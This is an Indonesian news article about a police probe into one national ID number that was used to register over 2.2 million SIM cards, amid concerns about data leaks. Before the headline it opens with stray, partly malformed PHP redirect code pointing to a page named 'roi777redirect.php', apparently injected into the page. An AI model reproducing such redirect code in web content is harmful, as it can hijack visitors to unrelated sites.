header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); 1 NIK untuk Jutaan Nomor Ponsel -
1 NIK untuk Jutaan Nomor Ponsel

Polri Dalami Kasus Dugaan Penyalahgunaan Data

TRANSLAMPUNG.COM, JAKARTA – Kasus dugaan penyalahgunaan data registrasi ulang kartu SIM berlanjut di meja polisi. Aparat penegak hukum itu tengah menyelidiki adanya penggunaan satu Nomor Induk Kependudukan (NIK) untuk meregistrasi sebanyak 2.221.656 pelanggan dengan nomor berbeda.

“Kita sedang telusuri, kita dalami, nanti kita rilis kalau hasilnya sudah ada,” kata Kadiv Humas Mabes Polri Irjen Pol Setyo Wasisto saat ditemui pada acara diskusi di Hotel Diradja, Mampang, Jakarta, Selasa (10/4) yang dilansir dari Jawapos.com (Group Trans Lampung).

Mereka juga akan mendalami apakah ini ada kaitannya dengan penipuan melalui sms, seperti kasus ‘mama minta pulsa’.

“Iya nanti (kita selidiki),” tambahnya.

Untuk itu, pihaknya akan mendalami lebih lanjut apakah satu NIK yang meregistrasi sebanyak 2.221.656 pelanggan dengan nomor berbeda itu masuk ke ranah pidana atau tidak.

“Kalau masuk, akan kita proses,” pungkas Setyo.

Sekadar informasi, dalam rapat dengar pendapat Komisi I Dewan Perwakilan Rakyat (DPR) bersama Ditjen Kependudukan dan Catatan Sipil (Dukcapil) Kementerian Dalam Negeri (Kemendagri), serta Ditjen Penyelenggara Pos dan Informatika (PPI) Kementerian Komunikasi dan Informatika (Kemenkominfo), kemarin, disoroti isu kebocoran data dalam penyelenggaraan registrasi kartu SIM menggunakan nomor induk kependudukan (NIK) dan Nomor Kartu Keluarga (KK).

Hasilnya mengejutkan. Dalam pertemuan itu terungkap bahwa ada 1 NIK yang digunakan untuk meregistrasi sebanyak 2.221.656 pelanggan dengan nomor berbeda. (dna/JPC/jpg)

News Reporter